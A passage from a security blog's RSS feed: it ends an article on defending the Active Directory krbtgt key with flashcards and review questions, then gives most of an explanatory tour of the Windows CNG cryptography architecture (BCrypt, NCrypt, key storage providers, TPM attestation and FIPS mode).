  { term: &quot;Diamond Ticket&quot;, definition: &quot;A real KDC-issued TGT, decrypted with the held krbtgt key, with the PAC modified and re-signed.&quot; },
  { term: &quot;Sapphire Ticket&quot;, definition: &quot;A forged TGT containing a genuine PAC obtained via the S4U2self plus U2U Kerberos extensions.&quot; },
  { term: &quot;MaxTicketAge&quot;, definition: &quot;The Kerberos policy value bounding the lifetime of a TGT; default 10 hours in Active Directory.&quot; }
]} flashcards={[
  { front: &quot;What did the MS14-068 patch elevate the krbtgt key from and to?&quot;, back: &quot;From &apos;an important secret&apos; to &apos;the load-bearing secret of every authentication decision in the domain.&apos; The patch tied PAC integrity to a real keyed HMAC under the krbtgt key, making the krbtgt key the single secret worth attacking directly from November 2014 onward.&quot; },
  { front: &quot;Why does the Full PAC Signature not retire the primitive?&quot;, back: &quot;Because the Full PAC Signature is itself computed under the krbtgt key. An attacker who holds the key recomputes it in the same step as the older KDC signature, and Sapphire Tickets never modify the PAC at all -- so the KDC&apos;s own genuine Full PAC Signature is on the ticket by construction.&quot; },
  { front: &quot;What does the two-reset procedure do and not do?&quot;, back: &quot;It cryptographically invalidates previously-forged TGTs after the second reset replicates. It does NOT rotate the seven other secret classes an attacker with krbtgt access has typically also touched: AdminSDHolder, AD CS templates, SID History, machine-account secrets, KDS root keys, trust keys, DSRM passwords.&quot; }
]} questions={[
  { q: &quot;What makes krbtgt unique among AD trust roots?&quot;, a: &quot;Within the Kerberos trust root of a single domain, the krbtgt long-term key is the only secret whose disclosure forges TGTs for arbitrary principals, including ones that do not exist in the directory. The CA private key, KDS root key, trust keys, and DSRM passwords are other trust roots with their own blast radii, but only the krbtgt key has the forge-arbitrary-TGT property.&quot; },
  { q: &quot;Why does the two-reset procedure require at least 10 hours between resets?&quot;, a: &quot;Because the AD default MaxTicketAge is 10 hours. If the second reset lands before all TGTs issued under the now-displaced previous key have expired, those in-flight tickets fail validation when they reach a DC whose previous slot no longer holds their signing key. The 10-hour floor is a cryptographic requirement of the two-slot eviction mechanism, not a Microsoft convenience choice.&quot; },
  { q: &quot;What is the Sapphire residual, and why does no vendor analytic ship for it?&quot;, a: &quot;The Sapphire residual is the wire conjunction of an S4U2self-flagged TGS-REQ with a U2U TGS-REQ addressing the same TGT. No vendor ships a default-enabled analytic for this signal as of May 2026 because the engineering work to package it across SIEM platforms has not been done. The signal exists; the analytic is the engineering gap.&quot; },
  { q: &quot;Name three secret classes that survive krbtgt rotation.&quot;, a: &quot;Three of seven: AD CS root CA private key (and any ESC-class template backdoors), KDS root key (used to derive gMSA passwords), inter-domain trust keys (used to bridge Kerberos trust across domains). The remaining four from the Domain-of-Thrones rotation list: AdminSDHolder ACL edits, SID History entries, machine-account secrets, DSRM passwords on writeable DCs.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>active-directory</category><category>kerberos</category><category>krbtgt</category><category>security</category><category>golden-ticket</category><category>diamond-ticket</category><category>sapphire-ticket</category><category>windows-server</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>CNG Architecture: BCrypt, NCrypt, KSPs, and How Windows Picks Its Algorithms</title><link>https://paragmali.com/blog/cng-architecture-bcrypt-ncrypt-ksps/</link><guid isPermaLink="true">https://paragmali.com/blog/cng-architecture-bcrypt-ncrypt-ksps/</guid><description>A guided tour of the Cryptography API: Next Generation -- the two-tier API, the Key Storage Provider model, the FIPS toggle, and how PQC slots in.</description><pubDate>Sat, 16 May 2026 00:00:00 GMT</pubDate><content:encoded>
Since Windows Vista, every piece of cryptography in Windows -- TLS, BitLocker, Authenticode, Windows Hello, DPAPI -- flows through the **Cryptography API: Next Generation (CNG)**. CNG splits the world into two layers. **BCrypt** does primitives: AES, SHA, HMAC, RNG, key derivation. **NCrypt** routes calls to a **Key Storage Provider (KSP)** that owns the long-lived private keys: software, TPM, smart card, or a third-party HSM. Algorithm selection is governed by a registered provider-priority list, the Schannel cipher-suite order, and a single FIPS-mode toggle that flips Windows into its validated subset. Windows 11 24H2 added the first post-quantum primitives (ML-KEM, ML-DSA) to the same surface, with no API break. This article walks through how that machine works, why Microsoft designed it that way, and where it leaks.
&lt;h2&gt;1. From CAPI to CNG: why Microsoft started over&lt;/h2&gt;
&lt;p&gt;In the late 1990s, Microsoft shipped its first general cryptographic API. The original Cryptographic Service Providers (CAPI) model [@learn-microsoft-com-service-providers] arrived in Windows NT 4.0 Service Pack 4 in 1998 and defined a plug-in unit called a Cryptographic Service Provider, or CSP. A CSP was a monolithic DLL: it owned the algorithm implementations, the key storage, and the export-control posture all at once. If you wanted to add hardware-backed RSA on Windows NT, you wrote a CSP. If you wanted to add a new hash function, you also wrote a CSP. The model worked for the algorithms Microsoft had in mind when it designed it.&lt;/p&gt;
&lt;p&gt;Then the algorithms changed.&lt;/p&gt;
&lt;p&gt;AES was standardized in 2001, after CAPI&apos;s design was already frozen. Microsoft retrofitted AES into the original architecture by shipping the Microsoft Enhanced RSA and AES Cryptographic Provider [@learn-microsoft-com-cryptographic-provider] as a separate CSP, sitting alongside the original Microsoft Base Cryptographic Provider. Elliptic-curve cryptography was even more awkward: CAPI&apos;s algorithm identifiers and key-blob formats had no place for ECC curves. Every new algorithm required a new CSP or a new release of an existing one. The plug-in surface was rigid, the FIPS validation story was painful, and the API was relentlessly C-shaped in ways that made auditing hard.Microsoft was not alone. The same era produced Intel&apos;s Common Data Security Architecture (CDSA) [@en-wikipedia-org-os-2] and several short-lived crypto frameworks for OS/2 and other platforms. Most of them disappeared. CAPI&apos;s longevity owed more to Windows market share than to its design.&lt;/p&gt;
&lt;p&gt;By 2005, Microsoft started over. The result was the Cryptography API: Next Generation, or CNG, which shipped with Windows Vista and Windows Server 2008 in January 2007 [@learn-microsoft-com-cng-portal]. CNG was not a refactor. It was a clean second system, designed from a different set of assumptions: algorithms would keep arriving, key storage needed to be a separate concern, FIPS validation had to be a first-class output, and the same API had to work in user mode and kernel mode.&lt;/p&gt;

The Windows cryptographic API introduced in Vista (2007) as the long-term replacement for CAPI. CNG splits cryptography into a primitives layer (`bcrypt.h`, `bcryptprimitives.dll`) and a key-storage layer (`ncrypt.h`, `ncrypt.dll`), each pluggable through registered providers. Used by every modern Windows component that touches cryptography.

The plug-in unit of the legacy CAPI architecture (1998-onward). A CSP bundled algorithms, key storage, and FIPS posture into a single DLL. Largely superseded by CNG providers, but still present on the system for backwards compatibility.
&lt;p&gt;The three design pillars Microsoft committed to in the CNG portal documentation were modularity, cryptographic agility, and FIPS-compliance readiness [@learn-microsoft-com-cng-features]. All three would matter twenty years later when post-quantum cryptography arrived without warning the protocol authors. We will get to that.&lt;/p&gt;

Throughout this article, &quot;BCrypt&quot; refers to Microsoft&apos;s CNG primitives header `bcrypt.h` and its companion DLL `bcryptprimitives.dll`. It is not the Provos-Mazieres password-hashing function of the same name, which is unrelated and uses a different spelling in most academic literature (&quot;bcrypt&quot;). The naming collision is unfortunate but firmly entrenched in Windows.
&lt;h2&gt;2. BCrypt: the symmetric stack and the ephemeral key&lt;/h2&gt;
&lt;p&gt;Open a Visual Studio project, include &lt;code&gt;&amp;lt;bcrypt.h&amp;gt;&lt;/code&gt;, link &lt;code&gt;bcrypt.lib&lt;/code&gt;, and you have access to almost every cryptographic primitive Windows ships. AES in CBC, CFB, ECB, GCM, and CCM modes. SHA-1, SHA-256, SHA-384, SHA-512, the SHA-3 family, and the cSHAKE128 and cSHAKE256 extendable-output functions added in Windows 11 24H2 [@learn-microsoft-com-algorithm-identifiers]. HMAC over any of those hashes. PBKDF2. The NIST SP 800-108 key-derivation construction. The DRBG-based random number generator drawn from NIST SP 800-90 [@csrc-nist-gov-1-final]. Ephemeral asymmetric operations -- RSA encrypt, ECDSA sign, ECDH key agreement -- on key handles that vanish when the process exits.&lt;/p&gt;
&lt;p&gt;The canonical BCrypt opening dance is four calls.&lt;/p&gt;
&lt;p&gt;{`
// Pseudocode mirroring the BCryptOpenAlgorithmProvider flow.
// In real C: NTSTATUS values, BCRYPT_ALG_HANDLE, etc.&lt;/p&gt;
&lt;p&gt;const algId       = &quot;AES&quot;;           // wide string
const impl        = null;            // null -&amp;gt; walk the priority list
const flags       = 0;&lt;/p&gt;
&lt;p&gt;const hAlg        = BCryptOpenAlgorithmProvider(algId, impl, flags);
BCryptSetProperty(hAlg, &quot;ChainingMode&quot;, &quot;ChainingModeGCM&quot;);&lt;/p&gt;
&lt;p&gt;const hKey        = BCryptGenerateSymmetricKey(hAlg, keyBytes);
const ciphertext  = BCryptEncrypt(hKey, plaintext, authInfo);&lt;/p&gt;
&lt;p&gt;BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
`}&lt;/p&gt;
&lt;p&gt;The interesting parameter is &lt;code&gt;impl&lt;/code&gt;. When it is &lt;code&gt;NULL&lt;/code&gt;, &lt;code&gt;BCryptOpenAlgorithmProvider&lt;/code&gt; &quot;attempts to open each registered provider, in order of priority, for the algorithm specified by the pszAlgId parameter and returns the handle of the first provider that is successfully opened&quot; [@learn-microsoft-com-bcrypt-bcryptopenalgorithmprovider]. That sentence is the whole story of CNG provider priority in nineteen words.&lt;/p&gt;
&lt;p&gt;Algorithm identifiers are wide strings. &lt;code&gt;L&quot;AES&quot;&lt;/code&gt;, &lt;code&gt;L&quot;SHA256&quot;&lt;/code&gt;, &lt;code&gt;L&quot;RSA&quot;&lt;/code&gt;, &lt;code&gt;L&quot;ML-KEM&quot;&lt;/code&gt;, &lt;code&gt;L&quot;ML-DSA&quot;&lt;/code&gt;, &lt;code&gt;L&quot;CHACHA20_POLY1305&quot;&lt;/code&gt;, &lt;code&gt;L&quot;CSHAKE128&quot;&lt;/code&gt;. Each string is registered in CNG&apos;s configuration store under &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\Cryptography\Configuration\Local\&lt;/code&gt;, with a per-algorithm ordered list of providers that claim to implement it. Add a new algorithm and you add a new string. Add a new provider and you append to its priority list. The API surface does not change.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The algorithm-identifier string is the seam where cryptographic agility lives. As long as your protocol can encode &quot;use whatever the spec calls AES-256-GCM,&quot; and as long as a CNG provider answers to that name, you can swap implementations without touching the calling code. Protocols whose wire format hard-codes the algorithm (the old SSL 3.0 cipher list, for example) do not get this benefit no matter what crypto API they call.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Underneath the API is a single implementation library. Microsoft&apos;s SymCrypt [@github-com-microsoft-symcrypt] has been the actual workhorse since Windows 10 version 1703: &quot;SymCrypt is the core cryptographic function library currently used by Windows... Since the 1703 release of Windows 10, SymCrypt has been the primary crypto library for all algorithms in Windows.&quot; SymCrypt is open source. It carries hand-tuned assembly for AES-NI, VAES, SHA-NI, and PCLMULQDQ on x64, plus ARM64 SHA and AES intrinsics. On a modern Xeon, AES-GCM throughput from BCrypt routinely sits in the 4 to 8 GB/s range per core.&lt;/p&gt;
&lt;p&gt;SymCrypt&apos;s open-source release in 2019 was a quiet event for a Microsoft library: the algorithms that protect Windows are reviewable by anyone willing to read C and ARM/x64 assembly.&lt;/p&gt;
&lt;p&gt;BCrypt keys are ephemeral by construction. A &lt;code&gt;BCRYPT_KEY_HANDLE&lt;/code&gt; lives in your process and dies with it. If you want to keep a private key around between processes, between reboots, or between machines, you do not use BCrypt. You use NCrypt.&lt;/p&gt;
&lt;p&gt;That distinction is the first thing developers get wrong when they meet CNG. The second thing they get wrong is forgetting that BCrypt&apos;s GCM API does not allocate nonces for you. The NIST SP 800-38D specification of Galois/Counter Mode [@nvlpubs-nist-gov-nistspecialpublication800-38dpdf] is famously brittle under nonce reuse: a single repeated nonce under the same key destroys both confidentiality (XOR of plaintexts leaks) and authenticity (the GHASH authentication key becomes recoverable). With 96-bit random nonces the birthday bound limits safe usage to roughly $2^{32}$ invocations per key before collision probability becomes meaningful. Counter-based nonces sidestep the birthday bound entirely but require persistent state. CNG does neither for you. That part is your problem.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; First, &lt;strong&gt;GCM nonce reuse&lt;/strong&gt;: &lt;code&gt;BCryptEncrypt&lt;/code&gt; with &lt;code&gt;BCRYPT_CHAIN_MODE_GCM&lt;/code&gt; accepts whatever 12 bytes you hand it. Counter or random, but never twice. Second, &lt;strong&gt;algorithm string drift&lt;/strong&gt;: &lt;code&gt;BCRYPT_SHA256_ALGORITHM&lt;/code&gt; is the macro for &lt;code&gt;L&quot;SHA256&quot;&lt;/code&gt;. &lt;code&gt;L&quot;SHA-256&quot;&lt;/code&gt; returns &lt;code&gt;STATUS_NOT_FOUND&lt;/code&gt;. Third, &lt;strong&gt;kernel-mode pseudo-handles&lt;/strong&gt;: the convenient &lt;code&gt;BCRYPT_AES_ALG_HANDLE&lt;/code&gt; shortcut is user-mode only per the BCryptOpenAlgorithmProvider remarks [@learn-microsoft-com-bcrypt-bcryptopenalgorithmprovider]; kernel drivers must use real handles.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Windows 10 added pseudo-handles -- pre-baked handle constants like &lt;code&gt;BCRYPT_AES_ALG_HANDLE&lt;/code&gt; and &lt;code&gt;BCRYPT_SHA256_ALG_HANDLE&lt;/code&gt; -- that skip the provider lookup for the built-in algorithms. The 24H2 release extended that list to include &lt;code&gt;BCRYPT_MLKEM_ALG_HANDLE&lt;/code&gt; and the cSHAKE handles. Microsoft now recommends pseudo-handles over &lt;code&gt;BCryptOpenAlgorithmProvider&lt;/code&gt; for new code [@learn-microsoft-com-bcrypt-bcryptopenalgorithmprovider] when the algorithm is built in. The motivation is performance: pseudo-handles bypass the per-call provider walk and the configuration-store lookup.&lt;/p&gt;
&lt;p&gt;That covers the primitives. Now we need a place to keep the keys.&lt;/p&gt;
&lt;h2&gt;3. NCrypt: where the long-lived secrets live&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;ncrypt.h&lt;/code&gt; header opens a different door. Every function in the NCrypt API surface [@learn-microsoft-com-api-ncrypt] -- &lt;code&gt;NCryptOpenStorageProvider&lt;/code&gt;, &lt;code&gt;NCryptCreatePersistedKey&lt;/code&gt;, &lt;code&gt;NCryptOpenKey&lt;/code&gt;, &lt;code&gt;NCryptSignHash&lt;/code&gt;, &lt;code&gt;NCryptDecrypt&lt;/code&gt;, &lt;code&gt;NCryptKeyDerivation&lt;/code&gt;, &lt;code&gt;NCryptExportKey&lt;/code&gt;, &lt;code&gt;NCryptProtectSecret&lt;/code&gt; -- begins by routing the call through &lt;code&gt;ncrypt.dll&lt;/code&gt;, which acts as a router rather than an implementation. The router decides which Key Storage Provider handles the operation and forwards the call.&lt;/p&gt;
&lt;p&gt;That routing layer is the architectural distinction Microsoft has insisted on for two decades. Microsoft&apos;s Key Storage and Retrieval documentation [@learn-microsoft-com-and-retrieval] describes it like this: the NCrypt router &quot;conceals details, such as key isolation, from both the application and the storage provider itself.&quot; Translation: the application calls &lt;code&gt;NCryptSignHash&lt;/code&gt; and gets back a signature. It does not know -- and should not need to know -- whether the key lives in &lt;code&gt;%APPDATA%&lt;/code&gt;, inside a TPM chip on the motherboard, on a smart card halfway across the room, or in a network-attached hardware security module in a data center on a different continent.&lt;/p&gt;

A registered plug-in DLL that owns persistent private-key material and exposes it through the NCrypt API. Microsoft ships four built-in KSPs (Software, Platform/TPM, Smart Card, and the CNG-DPAPI provider); third parties ship KSPs for HSM appliances, USB security keys, and cloud key services. Selecting a KSP is a matter of passing the right name string to `NCryptOpenStorageProvider`.
&lt;p&gt;The mechanical flow for creating a persisted key looks like this.&lt;/p&gt;

sequenceDiagram
    participant App as Application
    participant Router as ncrypt.dll (NCrypt router)
    participant KSP as Microsoft Software KSP
    participant LSA as LSA key-isolation process
    participant Disk as %APPDATA%\Microsoft\Crypto\Keys\&lt;pre&gt;&lt;code&gt;App-&amp;gt;&amp;gt;Router: NCryptOpenStorageProvider(&quot;Microsoft Software Key Storage Provider&quot;)
Router--&amp;gt;&amp;gt;App: hProvider
App-&amp;gt;&amp;gt;Router: NCryptCreatePersistedKey(hProvider, &quot;RSA&quot;, &quot;MyKey&quot;, 2048, ...)
Router-&amp;gt;&amp;gt;KSP: dispatch via registered KSP entry points
KSP-&amp;gt;&amp;gt;LSA: LRPC: generate key, return handle
LSA-&amp;gt;&amp;gt;Disk: write DPAPI-wrapped private blob
LSA--&amp;gt;&amp;gt;KSP: ok
KSP--&amp;gt;&amp;gt;Router: hKey
Router--&amp;gt;&amp;gt;App: hKey
App-&amp;gt;&amp;gt;Router: NCryptSignHash(hKey, digest)
Router-&amp;gt;&amp;gt;KSP: forward
KSP-&amp;gt;&amp;gt;LSA: LRPC: sign with isolated key
LSA--&amp;gt;&amp;gt;KSP: signature
KSP--&amp;gt;&amp;gt;Router: signature
Router--&amp;gt;&amp;gt;App: signature
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two facts about that diagram matter. First, the private key bits never enter the calling process. They are generated inside the LSA process and the calling application only ever receives a handle and the eventual signature. Second, the LRPC hop is real: it costs roughly 30 to 100 microseconds per call on modern hardware. For bulk symmetric encryption you would not want this overhead, which is why CNG&apos;s design pushes you toward BCrypt for symmetric work and reserves NCrypt for the rarer, smaller, and more sensitive operations on long-lived asymmetric keys.The LSA key-isolation process is &lt;code&gt;lsaiso.exe&lt;/code&gt; on systems with Credential Guard enabled, hosted inside the Virtualization-Based Security (VBS) trustlet boundary. On systems without VBS, the role is played by &lt;code&gt;lsass.exe&lt;/code&gt; itself. Either way, key material does not enter the application&apos;s address space.&lt;/p&gt;
&lt;p&gt;NCrypt is also where the asymmetric algorithms live in their persistent form. The Microsoft Software Key Storage Provider claims RSA keys from 512 to 16384 bits in 64-bit increments, DSA, DH, and ECDSA/ECDH on the NIST P-256, P-384, and P-521 curves [@learn-microsoft-com-and-retrieval]. Windows 11 24H2 added ML-KEM at the 512, 768, and 1024 parameter sets and ML-DSA at the 44, 65, and 87 parameter sets to the Software KSP&apos;s repertoire.&lt;/p&gt;
&lt;p&gt;The split between BCrypt and NCrypt is sometimes confusing because there is overlap. You can sign with BCrypt&apos;s &lt;code&gt;BCryptSignHash&lt;/code&gt; if you generated an ephemeral key pair. You can also sign with NCrypt&apos;s &lt;code&gt;NCryptSignHash&lt;/code&gt; if the key is persisted in a KSP. The rule of thumb is: if the key needs to survive the process, use NCrypt; if it does not, use BCrypt. Real-world Windows code skews heavily toward NCrypt for asymmetric operations because almost every interesting asymmetric key has an associated certificate, and certificates outlive processes.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The four Microsoft KSP name strings are &lt;code&gt;MS_KEY_STORAGE_PROVIDER&lt;/code&gt; (Software), &lt;code&gt;MS_PLATFORM_KEY_STORAGE_PROVIDER&lt;/code&gt; (TPM/Pluton), &lt;code&gt;MS_SMART_CARD_KEY_STORAGE_PROVIDER&lt;/code&gt;, and &lt;code&gt;MS_NGC_KEY_STORAGE_PROVIDER&lt;/code&gt; (Next Generation Credentials, used by Windows Hello). Typo any of these and you silently fall through to the Software KSP, which is a recurring source of &quot;why is my key on disk instead of in the TPM&quot; incident reports.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The router lets the application speak one language and have the storage backend vary. That makes the KSP plug-in model the most interesting piece of the architecture, and it deserves its own section.&lt;/p&gt;
&lt;h2&gt;4. The KSP model: one API, many places to keep keys&lt;/h2&gt;
&lt;p&gt;A KSP is a DLL on disk and an entry in the registry. The DLL exports a fixed set of function pointers that mirror NCrypt&apos;s API. The registry entry under &lt;code&gt;HKLM\SOFTWARE\Microsoft\Cryptography\Providers\Microsoft Software Key Storage Provider&lt;/code&gt; (and its siblings) tells &lt;code&gt;ncrypt.dll&lt;/code&gt; which DLL to load when an application asks for a provider by name. That is the whole interface contract. If you can produce a DLL that implements the entry points and you can install a registry entry, you have a CNG KSP.&lt;/p&gt;
&lt;p&gt;The platform comes with four. They sit on a spectrum from &quot;your operating system is the entire trust boundary&quot; to &quot;the keys live on a separate piece of silicon and only signatures come back.&quot;&lt;/p&gt;

flowchart LR
    A[&quot;Microsoft Software KSP -- private keys on disk -- (DPAPI-wrapped)&quot;] --&amp;gt; B[&quot;Microsoft Platform Crypto Provider -- TPM 2.0 or Pluton -- on-CPU silicon&quot;]
    B --&amp;gt; C[&quot;Microsoft Smart Card KSP -- removable hardware token -- (PIV, CAC, Yubikey)&quot;]
    C --&amp;gt; D[&quot;Third-party HSM KSP -- Thales Luna, Entrust nShield, -- YubiHSM 2, AWS CloudHSM&quot;]
    A -.-&amp;gt; A1[&quot;~10^4 RSA-2048 sign/sec -- FIPS 140-2 L1&quot;]
    B -.-&amp;gt; B1[&quot;~1-10 sign/sec -- TPM vendor cert&quot;]
    C -.-&amp;gt; C1[&quot;~1-5 sign/sec -- card vendor cert&quot;]
    D -.-&amp;gt; D1[&quot;~10^2-10^4 sign/sec -- FIPS 140-2/-3 L3 typical&quot;]
&lt;h3&gt;4.1 The Microsoft Software KSP&lt;/h3&gt;
&lt;p&gt;The default. If you pass &lt;code&gt;NULL&lt;/code&gt; for the provider name in &lt;code&gt;NCryptOpenStorageProvider&lt;/code&gt;, you get this one. It stores per-user private keys at &lt;code&gt;%APPDATA%\Microsoft\Crypto\Keys\&lt;/code&gt; and per-machine keys at &lt;code&gt;%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\SystemKeys\&lt;/code&gt;, with each file-level blob further protected by DPAPI under either the user master key or the LocalSystem (&lt;code&gt;S-1-5-18&lt;/code&gt;) master key. The private-key operations dispatch through LRPC into the LSA key-isolation process so that even with administrator privileges on the machine, naive code-injection into the application&apos;s address space does not yield key bits.&lt;/p&gt;
&lt;p&gt;The Microsoft Software KSP is also the only KSP that runs inside the LSA key-isolation process. Third-party KSPs run in the calling application&apos;s process. That difference matters enormously for the threat model. Microsoft notes this explicitly: third-party KSPs &quot;do not run inside the LSA process&quot; [@learn-microsoft-com-and-retrieval]. If you are a third-party KSP that talks to remote HSM hardware, the isolation comes from the HSM itself, not from any Windows process boundary.&lt;/p&gt;
&lt;h3&gt;4.2 The Microsoft Platform Crypto Provider (TPM and Pluton)&lt;/h3&gt;
&lt;p&gt;The KSP that answers to &lt;code&gt;MS_PLATFORM_KEY_STORAGE_PROVIDER&lt;/code&gt; is the TPM&apos;s face to CNG. When you call &lt;code&gt;NCryptCreatePersistedKey&lt;/code&gt; against it, the TPM 2.0 chip itself [@learn-microsoft-com-tpm-fundamentals] generates the key under the protection of its Storage Root Key. The private bits never leave the chip. The application gets back a handle whose only operations are sign, decrypt, and key derivation -- the private key cannot be exported, and that property is enforced by physics, not by software policy.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The Platform Crypto Provider is the place where CNG stops trusting the operating system and starts trusting a separate piece of silicon. Every TPM-backed key in Windows -- BitLocker&apos;s Volume Master Key wrapping, Windows Hello credentials, AD CS attestation-enrolled machine identities -- enters and exits through this single KSP name.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Microsoft Pluton, the security processor that shipped in 2022 on AMD Ryzen 6000, Snapdragon 8cx Gen 3, and Intel Core Ultra Series 2 silicon, is exposed to Windows as a TPM 2.0 device behind the same Platform Crypto Provider name [@learn-microsoft-com-security-processor]. Application code that worked against a discrete TPM works against Pluton with no changes. Pluton&apos;s wins are at the supply-chain layer (no SPI bus to physically tap between the chip and the CPU) and the firmware-update layer (Pluton firmware ships via Windows Update). The Windows-facing API is intentionally identical.&lt;/p&gt;
&lt;h3&gt;4.3 The Microsoft Smart Card KSP&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;MS_SMART_CARD_KEY_STORAGE_PROVIDER&lt;/code&gt; is a single KSP that routes to whichever vendor minidriver claims the inserted card. The minidriver model is Microsoft&apos;s plug-in layer below the KSP layer: smart-card vendors do not write CNG KSPs, they write minidrivers, and Microsoft&apos;s single KSP fans the calls out to them via the APDU protocol. Cards that follow Microsoft&apos;s Generic Identity Device Specification (GIDS) [@learn-microsoft-com-device-specification] work without a vendor minidriver. Cards that do not, including most US federal PIV cards before about 2015, ship vendor-specific minidrivers.&lt;/p&gt;
&lt;p&gt;This is the layer that powers Windows Hello for Business &quot;virtual smart card&quot; credentials, which present a TPM-backed key through the smart-card path because so much enterprise software already knew how to talk to PIV-style cards.&lt;/p&gt;
&lt;h3&gt;4.4 Third-party HSM and security-key KSPs&lt;/h3&gt;
&lt;p&gt;YubiHSM 2, Thales Luna, Entrust nShield, AWS CloudHSM Client for Windows, and various cloud-KMS bridges all ship CNG KSPs. The KSP DLL pretends to be a local provider and proxies operations across whatever transport the device uses -- USB for a YubiHSM, PCIe or TCP for a Luna, HTTPS for a cloud HSM. Latency varies from microseconds for a USB device to a few milliseconds for a network HSM. The application code that calls &lt;code&gt;NCryptSignHash&lt;/code&gt; does not change.&lt;/p&gt;

For an internal Active Directory Certificate Services CA, the KSP choice is the entire trust story. A CA whose root key lives in the Software KSP can have that key extracted by any administrator. A CA whose root lives in a FIPS 140-2 Level 3 HSM KSP requires physical access to the HSM (often with multi-person key ceremonies) to recover the key. The application code in `certutil` is identical in both cases. The audit story is not.
&lt;h2&gt;5. The TPM KSP, attestation, and the hardware boundary&lt;/h2&gt;
&lt;p&gt;A TPM-bound key is a useful key, but a TPM-bound key with an attestation statement is a different kind of asset entirely. The Trusted Platform Module supports a primitive called key attestation: the TPM can sign a statement that says, &quot;this key was generated inside me, I will never let it out, and here is a chain of trust back to my Endorsement Key that proves I am a real TPM made by a real vendor.&quot; A certificate authority that requires this attestation can refuse to issue a certificate for any key that did not come from inside a TPM.&lt;/p&gt;
&lt;p&gt;Active Directory Certificate Services supports exactly this flow as &quot;TPM key attestation&quot; [@learn-microsoft-com-key-attestation]. The flow involves three keys: an Endorsement Key (EK) burned into the TPM at manufacture, an Attestation Identity Key (AIK) derived from the EK and certified by Microsoft or by the enterprise PKI, and the application key being attested. The AIK signs a statement covering the application key&apos;s properties; the CA verifies the AIK certificate chain and the statement, and only then issues a certificate.&lt;/p&gt;

flowchart TD
    EK[&quot;Endorsement Key (EK) -- burned into TPM at manufacture -- vendor cert from Intel/AMD/etc.&quot;]
    AIK[&quot;Attestation Identity Key (AIK) -- generated in TPM, certified by -- Microsoft EK CA or enterprise PKI&quot;]
    APPK[&quot;Application key -- generated in TPM via -- NCryptCreatePersistedKey&quot;]
    STMT[&quot;Attestation statement -- signed by AIK&quot;]
    CA[&quot;Enterprise CA (AD CS) -- verifies AIK chain -- and attestation&quot;]
    CERT[&quot;X.509 certificate -- issued to application key&quot;]&lt;pre&gt;&lt;code&gt;EK --&amp;gt; AIK
AIK --&amp;gt; STMT
APPK --&amp;gt; STMT
STMT --&amp;gt; CA
CA --&amp;gt; CERT
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The CNG-facing API for this is the property bag on a &lt;code&gt;NCRYPT_KEY_HANDLE&lt;/code&gt;. After creating the key, the application calls &lt;code&gt;NCryptGetProperty&lt;/code&gt; with &lt;code&gt;NCRYPT_KEY_ATTESTATION_PROPERTY&lt;/code&gt; (and friends) to retrieve the attestation blob. The CA receives the blob in the certificate request and validates it against Microsoft&apos;s published EK CA roots. The whole protocol fits inside the standard certificate-enrollment flow.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; A software KSP can promise that a key is non-exportable. A TPM KSP can prove it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Throughput is the price. A typical TPM 2.0 chip performs single-digit RSA-2048 signatures per second. Pluton-based platforms are in the same neighborhood. Any architecture that wants to do a TPM signature on every HTTP request will fall over almost immediately. The TPM is the right home for one signature per session, per boot, or per logon -- not one per packet.Key migration between TPMs is essentially impossible by design. Replace a motherboard, and any keys that were sealed to the old TPM&apos;s Storage Root Key are gone. This is the same property that makes BitLocker safe against motherboard theft (the recovery key, escrowed elsewhere, is the only way back) and the same property that makes TPM-bound device identities a key-management headache during hardware refresh cycles.&lt;/p&gt;
&lt;p&gt;There is a deeper, more philosophical reason to use the TPM that the API does not advertise. Software keys are bounded by the kernel&apos;s process-isolation guarantees. Any kernel-level attacker, any user with &lt;code&gt;SeDebugPrivilege&lt;/code&gt;, or any code injected into &lt;code&gt;lsass.exe&lt;/code&gt; can in principle reach key material. The provably stronger bound -- keys that no OS-level code can ever read -- requires an off-CPU hardware boundary. CNG&apos;s own design notes acknowledge this when they say CNG &quot;is designed to be usable as a component in a FIPS level 2 validated system&quot; [@learn-microsoft-com-cng-features]: software-only isolation maps to FIPS 140-2 Levels 1 and 2; hardware boundaries are required for Level 3 and above.&lt;/p&gt;
&lt;h2&gt;6. FIPS 140 mode, compliance, and the one-bit toggle&lt;/h2&gt;
&lt;p&gt;There is a registry value at &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\Lsa\FIPSAlgorithmPolicy\Enabled&lt;/code&gt;. When it is set to 1 (or when the equivalent Group Policy &quot;System cryptography: Use FIPS compliant algorithms for encryption, hashing, and signing&quot; is enabled), Schannel and CNG callers refuse to use algorithms that fall outside the FIPS-approved set. RC4 disappears. MD5 disappears. SHA-1 disappears for new signatures (though not for legacy verification). TLS suites that rely on any of those are removed from the negotiation list.&lt;/p&gt;
